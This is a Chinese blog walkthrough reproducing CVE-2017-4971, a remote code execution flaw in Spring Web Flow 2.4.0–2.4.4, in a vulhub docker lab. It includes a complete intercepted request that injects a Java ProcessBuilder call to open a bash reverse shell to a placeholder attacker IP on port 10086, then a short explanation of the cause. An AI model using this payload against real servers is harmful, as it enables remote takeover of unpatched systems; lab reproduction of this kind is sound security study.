zoukankan      html  css  js  c++  java
  • 漏洞复现-CVE-2017-4971-Spring Web Flow 远程代码执行

     
     
     
     

    0x00 实验环境

    攻击机:Win 10

    靶机也可作为攻击机:Ubuntu18 (docker搭建的vulhub靶场)(兼顾反弹shell的攻击机)

    0x01 影响版本

    Spring WebFlow 2.4.0 - 2.4.4

    0x02 实验步骤

    首先,进入靶场环境,我们可以清晰地看到这个漏洞平台展示的,是我挖洞以来从来没有遇见过的页面:

    这个漏洞复现很简单,我先详细的操作一遍。

    首先,我们点击该登录页面,然后进入登录模块。

    如下图,会出现很多个默认账号与密码,我们随意挑选一个进行登录操作:

     然后我们进入这个网址,尽管我并不知道为什么要进入这个网址,但是,应该可以肯定,漏洞的触发点就在这个网址

    http://your-ip/hotels/1

     我们点击这个Book Hotel按钮,然后进行到下一个页面:

     随意输入一些合法的内容后,我们点击Proceed然后会跳转到Confirm页面:

    在点击Confirm的时候进行抓包,此处存在命令执行,可反弹shell

    使用如下反弹shell的Payload:

    _eventId_confirm=&_csrf=57033da7-4538-42ec-9933-e12ac3e97db5&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/x.x.x.x/10086+0>%261")).start()=vulhub

    此处监听10086端口,然后,将IP换为你的远程攻击机IP

     

     

     放包后即可获取到shell:

     成功getshell。

    0x03 实验原理

    我也不是很懂,但是读了一篇博客后,感觉清晰很多,总结一下,就是在订阅图书处,存在一个命令执行,直接调用了两个函数,这两个函数,一个是:addDefaultMappings ,一个是 addModelBindings

    其中,直接控制field这个值的函数是addDefaultMappings,且未做过滤,而addModelBindings是直接获取的java的一个配置文件,由配置文件来确定是否有 binder 节点,如果有,就无法触发代码执行。所以条件有两个:

    (1)binder节点为空;

    (2) useSpringBeanBinding 默认值(false)未修改。

    由此可实际在代码中找到该页面,节点为空(代替命令执行语句)+默认值为false(点击Confirm按钮)

     

     参考文章:https://paper.seebug.org/322/

    如果我的理解不正确,欢迎指正一起学习!谢谢!

  • 相关阅读:
    Ubuntu 开机启动是出现 grub rescue 解决办法
    OpenvSwitch Port Mirror in OpenStack Neutron
    Protobuf 在Ubuntu 14上的编译与使用
    Linux screen 常用命令
    OpenStack/devstack with Neutron on Ubuntu 14 (1)
    osprofiler在openstack Cinder里的使用
    基于SSH协议的端口转发
    HA 技术简介
    Socket Receive数据一次性接收不全的问题
    【转】本文对C#虚函数virtual进行详解。
  • 原文地址:https://www.cnblogs.com/cute-puli/p/13363752.html
Copyright © 2011-2022 走看看